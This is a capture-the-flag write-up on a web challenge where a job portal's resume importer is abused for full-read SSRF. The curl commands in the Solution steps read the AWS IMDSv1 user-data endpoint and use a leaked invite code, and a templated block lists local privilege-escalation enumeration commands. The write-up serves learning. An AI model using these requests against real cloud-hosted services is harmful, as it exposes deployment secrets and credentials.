← Back to Writeups
HTBN/AWeb

МёдХантер I: ранний доступ

XESXOR8/23/20264 min read
#web#htb#n/a

МёдХантер I: ранний доступ

Platform: Avitoctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-22 | Status: Solved Techniques: full_read_ssrf, imdsv1_user_data_exfiltration

Summary

Task: A resume importer fetches attacker-controlled URLs and reflects invalid response bodies, exposing a full-read SSRF. Solution: Query IMDSv1 user-data, recover the PDF beta invite variable, and activate it through the seeker API.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: avitoctf | ID: 20260722_avitoctf_medhanter_i_rannii_dostup
  • Tags: ssrf, go, cloud_metadata, imdsv1
  • Indicators: URL-based resume import, invalid fetched body reflected in content, IMDSv1 reachable at 169.254.169.254
  • Source: 20260722_avitoctf_medhanter_i_rannii_dostup.md

Foothold

Vulnerability / Misconfiguration

  1. Full_read_ssrf
  2. Imdsv1_user_data_exfiltration
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • full_read_ssrf
  • imdsv1_user_data_exfiltration
  • Tags: ssrf, go, cloud_metadata, imdsv1

Original Writeup

<details><summary>Click to expand original content</summary>

МёдХантер I: ранний доступ — avitoctf

Description

МедХантер — портал вакансий. Генерация PDF-резюме доступна только в рамках закрытого бета-тестирования; цель — получить действующий код приглашения.

The application is a job portal whose PDF resume feature requires a valid closed-beta invitation code. The goal is to obtain that code and enable the feature for a normal seeker account.

Analysis

The frontend JavaScript exposed three relevant API operations:

  • POST /api/auth/register creates a normal seeker account and establishes a session.
  • POST /api/seeker/resume/import accepts JSON containing a user-controlled url.
  • POST /api/seeker/pdf/activate validates a beta invitation code.

The resume importer performed a server-side HTTP GET. When the fetched response was not a valid resume document, the API returned the complete response body in the JSON content field. Fetching the site frontend produced its HTML inside that field, proving a full-read SSRF, not merely a blind request primitive.

Loopback recon found the Go backend on 127.0.0.1:8080 and the expected frontend/backend/database Docker services. However, bounded route checks did not reveal a useful internal endpoint. The important pivot was to apply generic SSRF methodology beyond loopback and test link-local cloud metadata.

The host allowed unauthenticated IMDSv1 access. Requesting http://169.254.169.254/latest/user-data through the importer returned cloud-init user-data, including the PDF beta deployment variable. No cloud or storage credentials from that response were needed.

Solution

1. Create an ordinary seeker session

Use placeholders rather than preserving a challenge session cookie:

BASE='https://hrportal-97vy07q2.avitoctf.ru'

curl -sS -c cookies.txt \
  -H 'Content-Type: application/json' \
  -d '{"email":"<EMAIL>","password":"<PASSWORD>","display_name":"Solver","role":"seeker"}' \
  "$BASE/api/auth/register"

The saved response artifact register-seeker.json confirms that the new account had role seeker and pdf_beta_enabled:false.

2. Confirm full-read SSRF

Ask the importer to fetch a non-resume page:

curl -sS -b cookies.txt \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://127.0.0.1:8080/"}' \
  "$BASE/api/seeker/resume/import"

The API embeds the fetched body in its content property when parsing fails. This behavior makes internal HTTP responses directly readable by the attacker.

3. Read cloud-init user-data

Use the same importer to reach the link-local metadata service:

curl -sS -b cookies.txt \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://169.254.169.254/latest/user-data"}' \
  "$BASE/api/seeker/resume/import"

The reflected content contains the deployment configuration, including:

PDF_BETA_INVITE_CODE=avito{REDACTED}

This confirms that IMDSv1 is reachable without a metadata token and that the importer can read its response.

4. Activate PDF beta access

Copy the recovered value into the activation request:

INVITE='avito{REDACTED}'

curl -sS -b cookies.txt \
  -H 'Content-Type: application/json' \
  -d "{\"code\":\"$INVITE\"}" \
  "$BASE/api/seeker/pdf/activate"

The server returned HTTP 200:

{"enabled":true}

A final state check verifies the account change:

curl -sS -b cookies.txt "$BASE/api/me"

The response contains "pdf_beta_enabled":true. These exact success states are preserved in activation-success.json and me-activated.json.

Failed Paths and Distractions

Several bounded alternatives were negative: guessing loopback ports and hidden backend routes, employer registration and role overposting, activation-body type confusion, reuse of public PDF UUIDs or verification codes, obvious session-signing keys, simple SQL injection probes, and seeded default credentials. These checks established that the intended primitive was the importer SSRF; the mistake was initially limiting SSRF recon to ordinary loopback and Docker services.

Reproducible Evidence

  • notes.md: complete test history, phase checkpoints, metadata finding, and activation verification.
  • import-probes.txt: reflected invalid fetched content demonstrating full-read behavior.
  • register-seeker.json: ordinary seeker account initially had PDF beta disabled.
  • activation-success.json: activation returned {"enabled":true}.
  • me-activated.json: /api/me confirmed pdf_beta_enabled:true.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR